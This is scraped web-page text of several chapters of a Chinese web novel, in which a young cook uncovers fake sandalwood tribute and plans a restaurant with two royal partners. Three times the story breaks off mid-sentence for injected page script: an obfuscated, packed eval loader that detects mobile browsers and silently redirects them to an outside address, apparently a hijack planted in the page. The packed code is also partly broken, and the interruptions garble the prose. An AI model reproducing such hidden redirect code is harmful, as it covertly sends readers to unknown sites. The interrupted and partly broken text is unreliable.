$(''.inform'').remove(); $(''#content'').append('' 苏诣便唤荔枝将空盘拿走。 见荔枝已离开，苏有青趁机插话道：“对了姐，我此行在津弓镇边上还瞧见一种果子。看起来都是一样的红色浆果，味道却大不同，有的比这梨还甜，有的却是极酸的。” 苏有青还不忘在心中找补。虽她并未亲尝到甜味果子，但那甜果子也是确切存在的，不能算作唬人，只是替梅画说的而已。 毕竟还是这种夸饰话便于吊起胃口。 果然，苏诣被说得起了兴致：“那是什么果子？” 苏有青等的正是这句问。 掐头去尾、先捡重要的说，不待苏诣多反应，苏有青已将思虑过半晌的腹稿和盘托出。 “......所以，我此番匆忙回家，便是想先与你说过那庄子的事。”苏有青道。 苏有青尚摸不准朝臣间的派系，便没提及在津弓镇里见过何人，只说是为了梅时庄的事而匆匆回京。 苏诣觉得妹妹这事办得不妥：“那你一时情急后离开，可给人家留足了吃喝用度？” “自是有的。”苏有青道。 “那便好。”苏诣这才细思道，“兹事体大，我明日需先报过二皇子，看殿下意欲何为。” 见苏诣对此事上了心，苏有青松下了第一口气。 至于二皇子那边，她便有些忐忑了。 二皇子在原书里是个既有才干又行事果决的人。然而书里书外已乱作一锅粥，苏有青现下也不知那二皇子是否可靠。 不过纠结也无用，毕竟这次路上还有快刀在身边。待快刀回去同赵往说过此事，再辗转到赵鸣炫耳中后，她们同赵往与赵鸣炫也还是上了一条船。 次日，苏诣逮着公务闲暇的空档，同二皇子说过梅时庄一事。 赵鸣炫挑了挑眉。 说来也巧，她昨日刚从赵往那里听来了此事。只是赵往将话说得含糊，也不说清楚是哪里得来的信。 赵鸣炫昨日听过后便准备查明相关事宜，再加上苏诣所说，许是哪里有了新线索。 她便问道：“你妹妹是如何得知此事的？” 苏诣回答道：“小妹本是慕名往津弓镇去游玩一番，住下后随意在周边闲逛，无意间闯到了那庄子。她便紧赶慢赶地回了京，想帮帮那庄子里的人。” 赵鸣炫点了点头：“既如此，那便与你妹妹见上一面，也好让她将所知的事都说清楚些。” “是，我去安排。”苏诣应道。 - 定好时间地点、再问过赵鸣炫是否得空后，苏诣将话带回了苏府： “我已将梅时庄的事与二皇子说过，殿下想与你见一面，明日申时在食味酒楼细谈。” “知道了。”苏有青道。 见妹妹似在想什么心事，苏诣又道：“不必紧张，我也会在场。” 苏有青冲她笑：“有姐姐在，我自没了担忧。” 她确实没为明日的面谈而焦灼。虽说是第一次与皇子这般大人物同桌，但她也是有正事要议，又不是什么刑罚。 苏有青只是觉得，这食味酒楼似乎有些耳熟，不知是在哪里见过招牌。 26. 食味酒楼 翌日，苏诣提前一刻钟便带着苏有青到了食味酒楼中。 酒楼的小厮认识苏诣，才瞧见她走至门口，便一口一个“苏主事”地引着二人往楼上雅座去，说是殿下已在里头。 让小厮先行离开后，苏诣敲过酒阁子的门，听到当中传来一句“进”，方推开房门。 屋中只一人，正端坐着饮茶，并无随从伴在左右。 苏诣引见过后，苏有青规矩行礼道：“见过殿下。” “免礼，坐下聊。”放下茶盏，赵鸣炫淡淡道。 关上门，苏诣在赵鸣炫对面坐下，又将苏有青也拉至她的身边。 苏诣先斟满赵鸣炫面前的茶盏，又多倒出两杯茶，并未多言。 赵鸣炫开门见山，同苏有青道：“我已听苏诣提过你所说之事，只是心中还余些不解，便想再问些更详细的。” “殿下请讲。”苏有青道。 摩挲着杯盏，赵鸣炫问：“按你之言，津弓镇一直对那庄子设防。你与随从二人却是如何避开他们的？” 苏有青道：“许是镇上人觉得梅时庄的饥民已失了威胁，民起初并未受到过多阻拦，只几句谎话便打发了。再者，除去随从，还有一名暗卫为伴。” “暗卫？”见赵鸣炫脸色奇怪，苏诣意欲替妹妹担着，便抢先问出了口，“是何人？” 苏有青垂下眼，答道：“便是快刀。” 如此一来，赵鸣炫便串出清楚了：“原来快刀是同你一起的？那难怪了。” 苏有青不知道二皇子在“难怪”什么，便没好说话。 苏诣这些日子倒是摸清了赵鸣炫的秉性，直言问道：“敢问殿下的意思是？” 为免哑然失笑，赵鸣炫绷着脸道：“难怪赵往支支吾吾地说不出缘由。” 苏诣仍未听懂，看过二皇子又侧瞟向自家妹妹。 苏有青也着实没明白赵往的意思，一心岔开话题道：“我已听快刀说过，是二皇子殿下派她来保护我的。这一路上，快刀出了不少力，民在此谢过殿下。” 赵鸣炫更想笑了，合着那便宜弟弟打的还是她的旗号。 不好直接拆穿落赵往面子，赵鸣炫只好闭口不谈，专心于正事道：“既如此，那我便知晓了，快刀说的原是你带她瞧见的。” 两头的账簿对上后却是同一码事，二皇子便不再多斡旋，单刀直入道： “既津弓镇存疑，我先派人去查宫中尚余的贡木，看过真假再辩。趁着现下还是秋日，查明贡品也好多做打算，免得再拖到冬日，便又是新一年的朝贡了。” 苏有青心中亦有疑虑，便道：“殿下圣明。不过在下尚有几个问题想不明白，还望殿下不吝赐教。” 赵鸣炫暗念，苏家姐妹俩真是一个模子里刻出的，问事前都要绕来绕去，尽说那费时间的客套话。 她便道：“有话直说便是，不必总惦念着礼节那套。” 苏有青早在梅时庄时便想不通，也不信贡木的品种能轻易糊弄过宫里人的眼睛。 纠结至今，她终于同个宫中人问出了口：“不知津弓镇这些年送入京中的，都是什么品种的木头？” 赵鸣炫也在奇怪梅时庄的说法：“过往几年是紫檀与黄檀折半，这些年以黄檀为主。量倒不算多，一年朝贡通常不足二十段，不至于要津弓镇伐空林子的。” 她确信数目并无差错，又补充道：“年节之时，我也亲去库房看过几次，不会有错。” 听到“库房”，苏有青又有了新的问：“宫中的檀木平日里都作何用？” 赵鸣炫道：“大多只是存放着。这几年宫中未曾大修过土木，只偶尔打几件家具罢了。” “只做家具......”苏有青半是反问、半是思考道。 赵鸣炫便又说：“也看木头的大小。宫中会留下大块木材，至于小些的料块，有时随手雕出个摆件，又或是做成琵琶，都好用作赏赐之物。再小些的碎料便只能做成佛珠之类的小把件了。” 苏有青回忆道：“津弓镇上也差不多。那边一月里有三次市集，会卖些木制品，也是些小摆件与手串。” 苏诣道：“用途左不过都那些，毕竟是檀木。那木头有异香，质地坚硬又油性大，纹理也好看，做成需把玩的小物是再适合不过了。” 这两日里，苏诣得知檀木之事后便上了心，前后问过不少细节，算是做个初步了解。 “什么叫油性大？”苏有青没听过这种说法，“像松果那般油润吗？” 苏诣解释道：“差不多，只是不像松仁那般可以入口感受。同字面意思一致，檀木里含不少油脂。” “做成小物再打磨一二，表面便会显出一层光泽，摸起来温润如玉。这种木头还比旁的品种坚硬不少，若将木料车成珠子，那珠子的碰撞声听起来能叫人混作小石子呢。” 她又玩笑道：“不止是声音，它们也似小石头那般要沉些。若是有檀木串子不小心掉进水中，便会即刻沉底，水深的话都来不及捞呢。” “原来是这个意思。”苏有青明白了，点头道，“我在津弓镇时摸过，手感确是润得很。后来还......” 苏有青“还”了好几声，愣是没吐出来下一个音节。 她眼神凝滞地看向屋中二人，恰又有人推开了门，便下意识朝声源处看去。 小厮站在门口，躬身端着几盘新做的茶点果子，身旁还站着个贵气男人。 男人正欲抬步，却被屋里突然的沉静拦住了脚。 赵往方才在外头听到了几句对谈，不解为何他一来便噤了声，于是朝方才的说话人看去：“‘还’什么？” “见过三皇子。”苏诣最先反应过来，匆匆起身行礼。 苏有青也有样学样地问好。 道过“免礼”，赵往坐去了皇姐身旁的空位。小厮察觉屋中气氛古怪，也放下果子、匆匆离开了。 赵鸣炫催促姐妹二人赶紧坐下，又追问道：“后来呢？” 苏有青定了定神，似是为先行求证，侧头问苏诣道：“方才说那檀木油性大，丢进水中后便会立即沉底？” 苏诣不懂妹妹为何作此反应，沉声耐心道：“是。且话虽如此，檀木还是少沾水为好，否则易生裂缝。怎么了吗？” 苏有青心念这黑了心眼的津弓镇，竟用旁的木头佯装檀木，还敢将价格抬上天。她恐怕要比包菜那串木头珠子先一步裂开了。 看向对座的二位皇子，苏有青正色道：“我的仆从在津弓镇上买过一串木头珠子，摊贩说是当地特产的檀木所制。后来，那串珠子不小心掉到沟渠里，却是漂在水面上的。” 许是中途旁听的缘故，赵往似乎并不在意苏有青之言，朝她瞟过一眼后便匆匆低头搛果脯吃了。 赵鸣炫倒十分在意，皱眉道：“假檀木......上至宫中，下至游人，这津弓镇的人怎么谁都在骗？” 再往深处想，她又低声道：“便也是说......” 苏有青接过话：“便也是说，津弓镇上并未多用檀木，檀木之数便两头对不上账了。” 赵鸣炫理着思绪：“津弓镇的使者入京时曾说，他们那地界多生檀树。现下送入宫中的木材不算多，他们自己也不用，周遭的树林却都遭了殃。那那些树究竟去了哪里？” 听着赵鸣炫的话，苏有青也在心中默默思量。 梅画说，津弓镇人因撑不起进贡之数，后几年间的贡木都是拿松木充数的。 赵鸣炫却说，津弓镇一年里左不过进贡十数棵成材的树，且确切地都是檀木。 差数是出在哪里呢。苏有青想不出了。 思索间，赵鸣炫也随手搛起颗果脯塞进嘴中，不想被酸得一激灵。 她赶忙端起茶盏，好压压舌根的酸味。 一口饮尽后，赵鸣炫瞥了眼赵往，略有微词道：“这么酸，你方才怎么面不改色吃下的。” 赵往滞了片刻，又笑说道：“不装模作样一番，怎能骗皇姐也尝尝。” 赵鸣炫无语了。 不过那果脯也将她激得清醒了些。 空想无法，她便道：“我这几日再去宫中库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396876|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房查看一番，先瞧瞧过往的贡木现下如何。” 赵鸣炫一向走一步看十步，又边想边说道：“能成功围堵住一个村子，也不知是牵扯多少大官小官才做到的。不能打草惊蛇，不然直接将那津弓镇知镇抓过来审问便是。” 见二皇子率先提到官员，苏有青便将剩的事也说出了口：“还有一事。我回京前一日，在镇子上见过两个人。” 赵鸣炫正想得认真，随口接过话：“是说陶湖典和方非？我知道此事，快刀说过，二人离京前也递过禀呈。是津弓镇的商队到京城后寻人帮助，去查镇上树虫的事。” 苏有青却道：“如此，那便是有两件事要说了。我听镇上人说，那商队的领头是知镇家的小哥。” 二皇子沉了脸色，也听出了未尽之言：“而且？” 苏有青道：“而且，那二人抵了镇子后，我留在客栈中的包袱似被人翻看过。” 闻言，苏诣急了：“所以你才这般匆忙回京？怎的不早说。” 苏有青扯着幌子道：“没证据的事，也不知是何人干的，仅有猜测，便不好说出来。这不是没什么事嘛。” 苏诣还想再说些什么，却听对面的二皇子沉吟道：“看来还得想个法子，和你说的那村庄保持联系才好。眼下的说法难辨虚实，或许后面还有需要传信的时候。” “这个我想过。”苏有青道。 尚在津弓镇的客栈里整理菜谱时，她便想过了：“我准备开间食肆。” 赵鸣炫不解：“开食肆与传信有何关系？” 苏有青解释道：“我在梅时庄瞧见过一种特殊的酸果，那果子或能做成吃食，我们便好以采购果子为由，和那边保持通信。更关键的是，旁处没有那种果子，这法子便能掩人耳目些。” “采买的动静小不了，会不会太扎眼？”赵鸣炫问。 苏有青道出了她的想法：“若要一直与庄子联络，津弓镇的位置并不好轻易避开。相较于与津弓镇的人拉锯，不如一开始就摆出个正当的理由。” 赵鸣炫点了点头：“在理。” 苏诣却有些担忧：“酸果能做成何物？若是京城人不爱吃又怎么办？” 都是后话，苏有青便道：“那就当是给梅时庄人送钱财，也叫她们好过些。” 二皇子又有了新的顾虑：“路途还需跑上几日，那果子进京可否还新鲜？” 这倒是提醒了苏有青：“这我来办。按我前些日子的设想，那酸果制成吃食前还需腌制些时日。既如此，干脆先教庄里人如何腌制，再将制成的酸汤运进京中。一来路上的功夫刚好让果子发酵，二来也能多添予庄里人一笔工钱。” “既你心中有数，那便无碍了。”二皇子觉得可行，瞟过身边人后继续道，“来往也不便，快刀就派给你跑腿吧。” 赵往似是没察出视线，只一味地喝茶。 梅时庄与津弓镇的事已聊明，后续的事宜也有了方向，今日酒楼一聚便可散场。 苏诣与苏有青辞行礼离开后，赵往也站起了身，问道：“皇姐今日还有何安排？” 赵鸣炫依然在原位坐着，不答，只觑他道：“快刀怎会跟着苏有青跑去津弓镇？” 赵往有理有据：“自是因为知道那地方有问题，便派人盯着。皇姐从前分明也注意过，那津弓镇不太对劲。” “是，且试着查明时总遭阻拦，说明问题比想象的更棘手。”赵鸣炫现下听到他打着自己的旗号就想笑，“那我问你，你怎知苏有青去的是津弓镇？” 赵往憋不出理了。 - 酒楼外的街巷上，苏有青道：“这条路我仿佛走过。” 再回头看过那“食味酒楼”的牌匾，她同苏诣说笑道：“我之前还用这酒楼的牌子......” 话说一半，苏有青又猛地回头看向那招牌。 这不正是赵往开的那酒楼吗？？ “这酒楼怎么了？”苏诣追问。 苏有青决定从此三思而后言：“没什么，是想说三皇子殿下这酒楼的装潢挺好看。” 27. 饭馆筹备（一） 开间食肆的主意既已敲定，苏有青不再磨蹭，当晚便与苏诣聊起筹备之事。 苏火阳也坐在边上旁听姐妹二人的谈话，却不大插嘴。 虽说苏有青曾一手建起一个美食账号，大小事务都是独自包揽，想来也不缺打理一间店铺的能力。 只是不比美食账号，博主与观众间到底隔着层网。在热闹的京城里开起食肆、招揽来往过路人，需顾及的零碎事要多多了。 往细处说，各路食客喜好不一，满足不同口味便是个难题。 再远了看，京城里人来人往，若有时店铺生了疏漏，难免要遇到店与客、客与客间的口舌之争或旁的矛盾。而老板要想解决得又快又妥当，或也有些棘手。 尚不说多的，苏有青连最眼前的选址之事都没个明确些的想法。 原是不算熟悉京城人的习性，眼下她脑中一团乱麻，甚至有些懊悔脑门一拍便说要开店。 客流，周遭店铺，租赁价格...... 苏有青排不出这几点的先后，只好犹疑地同苏诣道：“我要如何选出个合适的门面？” 苏诣道：“也不知城中如今有哪些店铺空着，若能如愿找到合你心意的位置，自是最好。你有什么主见？去食肆酒楼多的坊市里开设吗？” 顺着苏诣的条理，苏有青边想边回答道：“多卖吃食的坊里自是食客更多，也容易引来新客。不过那个坊市似在京城中心，若是能离城门近些便好了。” “为何是城门？”苏诣不解。 苏有青道：“我记得娘之前炖药膳鸡，说那鸡是从城郊庄子里买的，我便也想找城郊人家收菜。” 苏诣道：“京中不少酒楼都是这样，无需为此腾了店铺的位置。” 苏有青确实还不了解收菜之事，只好直言道：“也想让他们来光顾，便念着离他们稍近些的铺面。” 苏诣疑惑：“可城中酒楼的客人多是贵族，又以你的手艺，庄子上的人未必能接受菜品的价格。” “是。”苏有青正是在考虑价格的时候记起这一茬的，“所以我想的是，若他们愿意来我的店里坐坐，我便另报个价。” 苏诣恍然大悟，苏火阳夸赞道：“心思是好的，只是如何定价还需多想。不过这也是后话了。” 苏诣也道：“妹妹想得很是周到。” 苏有青心念，哪里是自己周全，实是梅时庄的模样太触目了。 一一聊过细节，苏诣粗略明白了苏有青的想法，拍板道：“今日便这样。我明日去找牙人问问京中如今的空铺子。 苏诣找的牙人是她打过交道的一位，为人敞亮且行事利落。 不出两日，那牙子便挑出了相应的空铺子，带着张城池图同苏诣回话。 苏诣这几日也有事要忙，于是苏有青先跟着牙子去店中看看，选出不错的后再和苏诣商讨便是。 故次日一早，牙子带着苏有青往坊市去，路上也不忘介绍道：“这几间屋子都在不错的地段，平日里有不少人往来路过，还看姑娘喜欢什么样的。官家的与富商私有的屋子都有，也不怕有什么纷争。” 苏诣认识的牙子，手里确有不少渠道，挑出的店面也尽是好位置。 方看到第三间，苏有青便已觉不错。 这铺子的采光不错，堂屋里还留了不少桌子。 牙子道：“桌子都是现成的，还是之前的老板摆布料用的。这铺子从前是个布店，老板又是个爱干净的，所以店铺撤了后依然干净，无非是落了些灰，无需费力布置。” 再往后院中引，牙子继续道：“听闻姑娘是想开间食肆，刚好院子与后堂也不小，适合做个膳房出来。” 一圈看毕，二人又绕回了店门口。 苏有青觉得这间店铺确实不错，便问牙子：“后面还有几间空铺子可看？” 对应过城池图，牙子道：“还有三四间，只是剩余的铺面恐没有这间合适了。” 苏有青道：“那这间先留着，看过后面的再做定夺。” 牙子合起图，准备带苏有青去下一处：“好。姑娘往这边走。” 然而尚未走出铺子，苏有青便瞧见一人端正地立在门外。 她这次认识了，行礼道：“见过三皇子殿下。” 听到“皇子”二字，牙子扑通一声跪下：“草民见过皇子殿下。” “不必多礼。”赵往道，“不想在此偶遇了苏姑娘。” 苏有青在脑中努力搜刮敬辞，还没想出句先行离开的话，赵往便又道：“我正巧有事想与苏姑娘商谈，如今在此碰面倒省了趟跑腿，不知苏姑娘眼下方便与否？” 不待苏有青回答，牙子赶忙道：“草民先行告退。” 苏有青噎住，这下确是得闲了。 瞧见二人的反应，赵往幽幽道：“隔壁便是茶铺。苏姑娘坐下聊吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410964|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 茶铺这会子并无客人。那小二看得出来人打扮得尊贵，上过茶后也眼观鼻地远离了那一桌。 赵往的语气似乎并不与苏有青生分：“你看的那铺面确实不错，隔壁还是这茶馆。若有人喝茶闲聊恰好喝到饭点，还能直接去你的店里点上一桌。” 苏有青干笑两声，不接话：“不知三皇子殿下今日所为何事？” 她本就单方面与赵往闹过几次乌龙。虽前几日二人已同桌饮过一次茶，但当时还有苏诣在场。 今日只苏有青一人，她满是尴尬与紧张，根本笑不出来。 赵往直接了当道：“我与皇姐想入伙你的食肆。” 苏有青有些意外，不及多思便慌忙解释道：“民并未打算同人搭伙开店。” 赵往却自顾自地说道：“我已听皇姐说过你的想法。” 准确来说是追问来的。 赵鸣炫本是要称赞苏有青胸怀大义。赵往追问半天才得知，是苏有青决计抬高同菜农收菜的价格，又要放低他们点菜的价，开食肆之余还要施善行。 于是赵往今日便找上门来，一本正经道：“虽你的想法对平头百姓是善举，可旁的食客难免觉出不公，若因这差价而不愿去你的食肆该如何？不如让我与皇姐入伙，多少能当个亮点，招徕些贵家子去吃。” 苏有青没作声，觉得这人好莫名其妙。 食肆用口味做招牌便好，要找劳什子噱头做何用。 见苏有青沉默，许是在思考是否可行，赵往便趁热打铁道：“你的筹划是极好的，正巧我与皇姐是皇家子，也有心为民众出一份力。” 闻言，苏有青寻得一处疑问的出口：“既如此，三皇子殿下何不在自家酒楼中出力？” 赵往这才想起来他也有家酒楼。 他胡乱道：“京城众人早已得知那食味酒楼是我所开，如今才说对平民低价，怕是有人不敢随意进皇室沾边的酒楼。” 不知吐了一串什么话出口，赵往赶紧将话头绕回苏有青的店里：“总之我与皇姐的心意非虚，这本是互惠互利的事。” 苏有青心念你听听自己的话呢，上一句拿皇子当招牌，下一刻又说旁人不敢进皇子的店。 然而对她的新店而言，赵往说的又确实在理。 苏有青便道：“我明白殿下的好意，只是这番提议本在我的思量以外，还需考虑一二，不好即可应下。” 28. 饭馆筹备（二） 苏有青刚琢磨片刻，赵往便有些心急了。 毕竟他已等待过好几日。 那日酒楼别后，赵往记着苏有青的话，也找人问过京城里尚贴着赁帖的空铺子。 再从赵鸣炫处打听来苏有青的主意，几番比对过后，赵往从中挑出了最合适的几家门面。 而剩余的两日里，他便常在这几间铺子边打转，好能撞到什么偶遇。 赵往确信只是偶遇。他又不知苏有青会于何时去看哪间铺子，怎么不算碰巧。 思及“碰巧”，赵往便记起初同苏有青打照面的那次，他曾将眼前人的味蕾当成了巧合。 那次春日宴上，他本站在假山背后看方非意欲何为，却意外瞧见苏有青三两口间尝出了一张食谱。 买下方子带回府后，厨司说苏有青的食谱与那饼铺的法子并无太多差别。但赵往未曾在城中听闻过苏二姑娘厨艺高超之说，便以为她能写出那张方子是沾了些运气。 厨司却是越看越赞许，还说这道饼能作为食味酒楼的招牌，是能与那城西饼铺打擂台的口味。 赵往听得半信半疑，怀着“果真有那么好吃吗”的念头，让原本拖拖拉拉的酒楼赶了工，好快些开业。 而诚如厨司所言，那绿茶饼确实得了不少食客的青睐。也因着苏有青给的方子，本为方便二皇子谈事而建的酒楼意外地生意红火起来。 又在酒楼方营业两三日时，苏有青在路上拦下他，让他帮忙尝尝烤饼的味道。 赵往自是不信她所言的厨司一说，猜测许是为后几日的新厨小试而找人试菜。 然而不论是为了什么，赵往心中都按捺不住些许感动。 作为一个说不清味道的人，他已很久没充当过试味的角色了。 再加上石头的三言两语，赵往便有些诧异，不知那苏有青是什么时候开始注意他的。 自儿时有一年生病后，赵往便失了味觉。起先他以为过几日就痊愈，便谁也没说。 而后，他的味觉迟迟未能回来，赵往便更不敢同任何人说了。 原是今上是个极重视珍馐的人，他怕因此失了母皇的在意。 好在瞒过去也容易，学舌便是。若宴席上有人说这菜过咸，他只需附和两声便好。 只是不知苏有青如何观察出此事，且不仅不点破，还视他为常人，找他过问菜品的口味。 虽平日面上不显，但周遭有声音议论席上菜色的咸淡时，赵往总觉得那些人的话间带了讥讽。 如此一对比，苏姑娘的关照之举便更珍贵了，想来确实是对他心有所属。 赵往本不欲回应这份心思，只是他乍觉出暖意，便总忍不住多留个眼神。 因此，赵往跟着赵鸣炫去了新厨小试的比试场上。 虽苏姑娘未找他说话，但赵往瞧见她躲避的视线，心中便有了数。 往后的事，京城众人便都知晓了。苏有青竟意外在新厨小试中拿到个名次，没过几日又解决了孙运浩府上的事。 城里传得沸沸扬扬，说苏家姐妹俩真是后生可畏。孙大人寻来众多厨司都无用的挑食小哥，竟叫那二位年轻人收拾得服服帖帖；苏家小妹更是不得了，能做出旁人压根不识得的怪菜。 京城街坊说得有鼻子有眼，赵往也莫名与有荣焉。他听得很是骄傲，心念旁人都不知晓，这么厉害的人却心悦于他。 后来，城中关注苏有青的人越来越多，赵往也生了念头，想靠赵鸣炫来同苏有青多说几句话。 然后苏有青拍拍屁股离开京城了。 被皇姐侃过几次，赵往本有些无语。然而苏有青出行几月再回来，竟又带回个大消息。 还是他曾与赵鸣炫暗中查过、却没找出半个线索的津弓镇之事。 于是这一次，赵往更顺理成章地想出了能帮到苏有青的法子。 前两日，他同赵鸣炫说起“入伙”的想法。赵鸣炫先是认可，说他考虑得确实在理。 转而又带上些质疑，问他是不是有什么私心。 赵鸣炫心念这木头弟弟总算要开花了，下一刻，木头却信誓旦旦道：“我能有什么私心，自是为了百姓的日子着想。” 赵鸣炫又想，那好吧，看来木头开不出花、只能生出木耳。 不过她也怀疑是赵往嘴硬，便又道：“这么大义，那从你私库里出钱如何？” 赵鸣炫本是玩笑话，赵往却真切思索了一番。 依赵往之见，喜欢他算是苏姑娘的私事。虽他确实是因这份心悦而回以照应，却也不能直接拿出来同旁人言说。 赵往便郑重道：“可以。” “做你的梦吧。”赵鸣炫不由翻了个白眼，“我虽不熟苏有青，却也知她是新厨小试的一甲，上面还有苏诣能帮衬一番。她的食肆自能做强，入伙的也定能夺个好名声。这种好事能叫你一人占尽？” 是以，赵往今日虽是一人来商谈，却也带上了赵鸣炫的认可。 和钱。 见眼前人久久不语，赵往怕苏有青也猜测他是为私，便又补充道：“虽说我与皇姐欲出资，却也不是轻易送钱便了事的。入伙之后，我会常去店中看看生意与账簿，推出的新菜也要尝过口味。当然了，东家还是你。” 苏有青面色已显动摇，赵往趁热打铁，直接摆出了合伙人的架势：“你对菜品的两样定价有什么详尽些的想法？” 苏有青便顺势接话道：“具体的数额还需了解过旁的酒楼才能定下，眼下也不好空谈。我盘算着不如就挂出常见的菜价，若遇赤贫些的人，再单独抵上折扣便是。” 赵往又问：“那同菜农的买卖呢？我听闻你还打算在收菜方面放宽些。” 苏有青暗自嘀咕，苏诣怎么什么事都同二皇子说过。 不过若是能趁上皇子的东风，后头再行事确实也能方便些。她道：“收菜的价格略抬高些便好。待定好店铺、洒扫屋中的时候，我去同城郊庄里的菜农谈价。” 虽嘴上说得煞有条例，苏有青心中却还留有顾虑。 她总忍不住设想没个苗头的事，不知自己这一出会不会引起旁的酒楼与食客的不满，也不知京城里外是否真有几户吃不起饭的人家。 若是将她的食肆宣扬得好听，最后却和别的饭铺大同小异，苏有青多少有些挂不住脸。 饮尽一盏茶，赵往记起正事：“那梅时庄那边，你准备何时联系？” 苏有青道：“这事容易，只是暂且要候上一阵。梅时庄要用的方子很简单，待店面落成，我便让快刀带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414596|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个能干的家仆去找梅画。” 脱口而出个“快刀”后，苏有青忆起快刀本是奉了赵往的命才跟着她，便又滞住。 她尚不知眼前人为何如此，好在快刀认得名头是二皇子，前几日谢过时赵鸣炫也没否认。 既如此，苏有青决定将错就错，佯装不知赵往在其中的干系。 结果赵往也沉默，心说这苏二姑娘真是有些大意。 他早便问过快刀这一路的前因后果，不想苏有青听闻快刀的由来后，便直接不设防了。 赵往听快刀的话听得满是惊诧，想着即便他是苏有青的心上人、快刀也确是他派去的，苏有青也不该如此轻信。 幸好他是个善人，从未怀过害人的心思。 但苏有青对这事闭口不谈，想来是默默接受了他的好意。 赵往只好也不再提，放下杯盏道：“那今日便聊到这里吧。” 虽未直接应允入伙的提议，但苏有青明白其中的利害，二人也已心照不宣地聊过往后经营的细节，这事便算是敲定了。 后面的日子里，苏有青找牙子看过余下的门面，最终还是敲定了旧布店。 梅时庄的事尚搁置着，这头苏有青也有些心急，手脚便也利落了起来。她前一日同牙子签好租赁的契约，第二日便按流程去登记入市了。 市令接过那几张契纸，翻看过后便多递回张落了章的市籍。 苏有青瞧着新鲜，随口问道：“这便好了？” 市令道：“是，姑娘很快便能开业了。咱们姬朝人本就爱吃，自也希望多开些食肆。还愿姑娘生意兴隆。” 送走苏有青，市令松了口气。 他本就奇怪，入市这等小事竟还有皇子过来特意提点。方才一看名册，原来要开店的是苏御厨家的姑娘。 市令暗道，幸好这几日里都是他坐镇，这才没失了分寸。若叫手下哪个没长眼的刁难了苏姑娘一通，他怕也是过不稳这遭好日子了。 - 需拿的文书都到了手，后面的事便也提上了日程。 装修不必太费心，在姬朝也装不出什么花样。苏有青预备摆出必备的桌椅柜台，后面再打扫干净便算了事。 膳房倒有些麻烦。这铺子从前是布店，空空荡荡的库房里只余一层灰，想隔出间膳房还得费些功夫。 好在这项有苏火阳来帮忙，说她去盯着师傅砌灶台与窑炉。 若非苏火阳提点，苏有青本打算直接交由师傅去做便是。 苏火阳却说这样不行，新砌的锅灶还需尽心烘干和养护，否则用不久不说，难保还会有烟气走不通的时候。 “我便知道你不晓得这些事。一身干劲，却还少些真切的经历。” 师傅层层叠起砖块时，苏火阳笑说道。 苏有青嘻笑两声：“幸好有娘帮我把关。我都快忙晕了，就算知晓这些事也要盯不过来的。” 并非夸大其词，苏有青是真觉得她有些忙不开了。 这些日子，她要看前屋的桌椅摆放，算着几日里的支出，还要列几道后期的招牌菜。 杂事纷至沓来，苏有青只好有先有后地思量，将招人的事搁到了后头。她盘算着先叫苏家的仆从顶上，后面缺了人手再新招人也不迟。 29. 开业大吉 待这头忙得差不多、店铺已然成型时，苏有青这个当老板的仍未想好，这间食肆该叫何名。 入伙的赵往时来店里探看，这一日也没落下。 因着这些日子常来往，二人已渐熟络。 瞧见苏有青为此长吁短叹，赵往随意道：“这有何难，满大街的酒楼名字都差不多。若是想添些特色，不如加上你的姓氏，唤个‘苏式食肆’便是。” 苏有青有些头大，赵往随口一提便说出了她最不喜的路子。 苏有青本想着不如继续用那美食账号的名称，就叫“有肴食肆”，取“有佳肴”之意也算妥帖。 然如今“有肴”也算她的半个名字，直接挂上倒像什么张三李四酒楼。 这般取名的人不少，苏有青却怕落了俗套。 思来想去半晌也没个结果，苏有青在柜台上趴成一摊，懊恼道：“有些新意的名字怎的这么难想，就不能直接叫它‘饭馆’吗？” 赵往瞧她的神情反觉有趣，便连问带玩笑道：“何谓饭馆？便是饭铺的意思？不过你的食肆，除了米饭当还卖菜肴的。” 苏有青哽住，没想到“饭馆”还是个后世词语，道：“既有茶馆，便也能有饭馆。” 赵往想得起劲，似懂非懂道：“听起来是个能吃上饭的铺子，确实合意，也挺新奇。” 支起头，苏有青敷衍道：“差不多便是这意思。” “那，私以为这二字比旁的某某酒楼要强。”赵往笃定得摇了摇扇。 “真的吗？”苏有青疑他插科打诨，并暗念这人似是已忘记自家的食味酒楼。 合扇敲进另只手的掌心，赵往又灵光一现了：“刚好你意欲低价售予百姓，四舍五入也算是管上百姓的饭。饭馆能管饭，很是贴切。” ......入太多了吧，架得如此高，那她岂非要再多抵些折扣、确切地管上平头百姓的饭。苏有青想。 然而赵往接连几句肯定，还是听得她有所动摇。 